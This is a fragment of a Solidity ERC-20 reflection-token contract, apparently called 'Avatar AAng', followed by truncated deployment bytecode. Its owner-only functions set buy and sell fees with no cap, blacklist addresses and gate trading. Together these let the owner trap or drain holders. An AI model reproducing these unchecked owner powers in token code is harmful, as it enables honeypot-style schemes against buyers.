{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600b81526020017f4176617461722041616e67000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f4141616e67000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000